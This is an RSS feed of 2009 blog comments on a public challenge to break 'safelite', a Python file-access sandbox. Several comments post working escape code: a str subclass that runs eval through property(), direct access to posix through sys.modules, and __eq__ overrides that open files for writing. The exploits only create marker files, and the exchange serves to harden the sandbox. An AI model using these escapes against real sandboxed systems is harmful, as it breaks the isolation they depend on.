<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>Asktav - Latest Comments in A Challenge To Break Python Security</title><link>http://asktav.disqus.com/</link><description>Tav's Blog</description><atom:link href="https://asktav.disqus.com/a_challenge_to_break_python_security/latest.rss" rel="self"></atom:link><language>en</language><lastBuildDate>Thu, 19 Mar 2009 22:21:53 -0000</lastBuildDate><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-7364207</link><description>&lt;p&gt;I must be confused about how scoping works in Python. How was class S able to refer to 'eval' in order to pass it to 'property'?&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">David-Sarah Hopwood</dc:creator><pubDate>Thu, 19 Mar 2009 22:21:53 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6886359</link><description>&lt;p&gt;sorry, I just posted a wrong way&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">chenz</dc:creator><pubDate>Wed, 04 Mar 2009 20:22:33 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6698513</link><description>&lt;p&gt;New attack, showing that you can trick the monitor code into evaluating unsafe code in its own globals:&lt;/p&gt;&lt;p&gt;$ python&lt;br&gt;Python 2.6 (trunk:66717, Oct  1 2008, 20:48:36)&lt;br&gt;[GCC 4.0.1 (Apple Inc. build 5465)] on darwin&lt;br&gt;Type "help", "copyright", "credits" or "license" for more information.&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; from safelite import FileReader&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; class S(str):&lt;br&gt;...   __int__ = property(eval)&lt;br&gt;... &lt;br&gt;&amp;gt;&amp;gt;&amp;gt; f = FileReader('/etc/passwd')&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; &lt;a href="http://f.read" rel="nofollow noopener" target="_blank" title="f.read"&gt;f.read&lt;/a&gt;(S('lambda:sys.stdin.__class__("/tmp/pwned","w").write("Yay!\\n")'))&lt;br&gt;Traceback (most recent call last):&lt;br&gt;  File "&amp;lt;stdin&amp;gt;", line 1, in &amp;lt;module&amp;gt;&lt;br&gt;  File "&lt;a href="http://safelite.py" rel="nofollow noopener" target="_blank" title="safelite.py"&gt;safelite.py&lt;/a&gt;", line 210, in read&lt;br&gt;    return &lt;a href="http://fileobj.read" rel="nofollow noopener" target="_blank" title="fileobj.read"&gt;fileobj.read&lt;/a&gt;(bufsize)&lt;br&gt;TypeError: nb_int should return int object&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; &lt;br&gt;$ cat /tmp/pwned&lt;br&gt;Yay!&lt;br&gt;$ &lt;br&gt;&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Guido van Rossum</dc:creator><pubDate>Fri, 27 Feb 2009 08:07:29 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6587310</link><description>&lt;p&gt;But if we don't start hacking this code now, you'll never see the end any time this decade, and the decade after it, and the decade after that...&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Lie</dc:creator><pubDate>Tue, 24 Feb 2009 22:15:16 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6586455</link><description>&lt;p&gt;&amp;gt; Have you seen Paul Cannon's exploit?&lt;/p&gt;&lt;p&gt;Yes I have. What I agree should be banned is calling the code object constructor. But otherwise code objects are quite harmless, unless they contain secrets literals, which is perhaps fun as an example but not realistic.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Guido van Rossum</dc:creator><pubDate>Tue, 24 Feb 2009 21:41:12 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6577919</link><description>&lt;p&gt;I agree with Guido.  Code objects don't need to be considered dangerous in themselves, especially with your plans to neuter traceback objects (removing tb_frame, or was it f_locals and co from the frame objects? either way).&lt;/p&gt;&lt;p&gt;Sorry to everyone about the blog being broken. I'll try to figure out what's wrong.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">the paul</dc:creator><pubDate>Tue, 24 Feb 2009 15:02:55 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6576022</link><description>&lt;p&gt;Have you seen Paul Cannon's exploit?&lt;/p&gt;&lt;p&gt;He constructed a nifty function with custom bytecode which was able to grab traceback objects off of the&lt;br&gt;stack...&lt;/p&gt;&lt;p&gt;I summarised it in this post to Python-Dev: &lt;a href="http://mail.python.org/pipermail/python-dev/2009-February/086438.html" rel="nofollow noopener" target="_blank" title="http://mail.python.org/pipermail/python-dev/2009-February/086438.html"&gt;http://mail.python.org/pipe...&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Paul has also written a detailed blog post on: &lt;a href="http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html" rel="nofollow noopener" target="_blank" title="http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html"&gt;http://thepaulprog.blogspot...&lt;/a&gt;&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><pubDate>Tue, 24 Feb 2009 14:04:59 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6573911</link><description>&lt;p&gt;What's the expoitability of accessing code objects? Obviously if there's a secret string constant, giving the sandbox access to the code object is bad. But as long as we block the creation of code objects from raw strings (new.code(...)), I don't have a problem with sandbox code creating code objects (through compile() or extracting them from functions they have defined themselves) and executing them. Code objects are 100% immutable and don't have pointers to environments -- only function objects have those.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Guido van Rossum</dc:creator><pubDate>Tue, 24 Feb 2009 12:36:58 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6570771</link><description>&lt;p&gt;"import safelite" is cheating. Your supposed to do "from safelite import FileReader"&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">$3618952</dc:creator><pubDate>Tue, 24 Feb 2009 10:22:12 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6569153</link><description>&lt;p&gt;$ python&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; import safelite&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; posix = safelite.sys.modules['posix']&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; fd = &lt;a href="http://posix.open" rel="nofollow noopener" target="_blank" title="posix.open"&gt;posix.open&lt;/a&gt;('0wn3d', posix.O_CREAT | posix.O_WRONLY)&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; posix.write(fd, 'w00t\n')&lt;br&gt;5&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; posix.close(fd)&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; &lt;br&gt;$ cat 0wn3d &lt;br&gt;w00t&lt;br&gt;&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Jeremy</dc:creator><pubDate>Tue, 24 Feb 2009 09:22:34 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6557608</link><description>&lt;p&gt;@Anon&lt;/p&gt;&lt;p&gt;Yeah, I had the same problem with Blogger -- its captcha service was buggered in Firefox -- even when trying to post as a Blogger user. I tried with Safari and it worked fine...&lt;/p&gt;&lt;p&gt;As for removing ``compile``, I'd really be interested to know your thoughts/justification... it is the approach that I've currently gone for [since it was the simplest to implement] -- but I am not totally sure about it.&lt;/p&gt;&lt;p&gt;If someone can somehow get at a Code object, then they can still exploit it. I'm looking through the Python source code to see where else code objects are returned from -- the obvious places like FunctionType.func_code and GeneratorType.gi_code have already been removed... would be good to know for sure =)&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><pubDate>Tue, 24 Feb 2009 04:33:56 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6540664</link><description>&lt;p&gt;I tried to post this on Paul Cannon's blog, but his blog is broken and Anonymous posting does not work (and even deleted my post with no way to get it back; grr..).&lt;br&gt;I'd argue that, following the "default deny" principle, you ought to block compile() for the first version of safelite.  I wrote a longer note providing explanation and justification, but it was eaten by Paul's blog.  I'll wait to write a longer explanation until I know that the blog is working and accepts anonymous posts.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Anonymous</dc:creator><pubDate>Tue, 24 Feb 2009 00:31:30 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6536039</link><description>&lt;p&gt;Yup!&lt;/p&gt;&lt;p&gt;And once we've got a comprehensive list of known exploits, work can finally begin on that front.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><pubDate>Mon, 23 Feb 2009 20:27:13 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6534482</link><description>&lt;p&gt;It looks like the real challenge will be to write a supervisor that implements a larger subset of Python (e.g. allows importing pure-Python modules) without it being riddled with the kind of bugs that have been found so far in &lt;a href="http://safelite.py" rel="nofollow noopener" target="_blank" title="safelite.py"&gt;safelite.py&lt;/a&gt;.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Guido van Rossum</dc:creator><pubDate>Mon, 23 Feb 2009 19:00:15 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6534431</link><description>&lt;p&gt;I think there will always be a way to mess with the definition of str or something like that.  I think you simply can't trust the user's input:&lt;br&gt;   if mode=='rb':&lt;br&gt;      mymode='rb'&lt;br&gt;   elif mode=='rU':&lt;br&gt;      mymode='rU'&lt;br&gt;   else:&lt;br&gt;      mymode='r'&lt;/p&gt;&lt;p&gt;and then do the open with mymode, which you know YOU set.&lt;br&gt;  &lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">clsn</dc:creator><pubDate>Mon, 23 Feb 2009 18:57:46 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6534230</link><description>&lt;p&gt;Simple mod on Guido's clever hack still works:&lt;/p&gt;&lt;p&gt;class S(str):&lt;br&gt;    def __eq__(self,o): return 'r'==o&lt;br&gt;    def __str__(self): return self&lt;/p&gt;&lt;p&gt;f=FileReader('0wn3d', S('w'))&lt;/p&gt;&lt;p&gt;Will create an empty file, as before.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">clsn</dc:creator><pubDate>Mon, 23 Feb 2009 18:46:28 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6534144</link><description>&lt;p&gt;I modified Guido and Mark's exploit to create new files or clear out existing ones, which seems like writing to me. Just add "__builtins__.str = S" after the class declaration.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Mike Rooney</dc:creator><pubDate>Mon, 23 Feb 2009 18:41:24 -0000</pubDate></item><item><title>Re: A Challenge To Break Python Security</title><link>http://www.asktav.com/a-challenge-to-break-python-security.html#comment-6533838</link><description>&lt;p&gt;Still, very nice try _Mark_ -- would be interested to know when you get some contents into that file =)&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><pubDate>Mon, 23 Feb 2009 18:24:04 -0000</pubDate></item></channel></rss>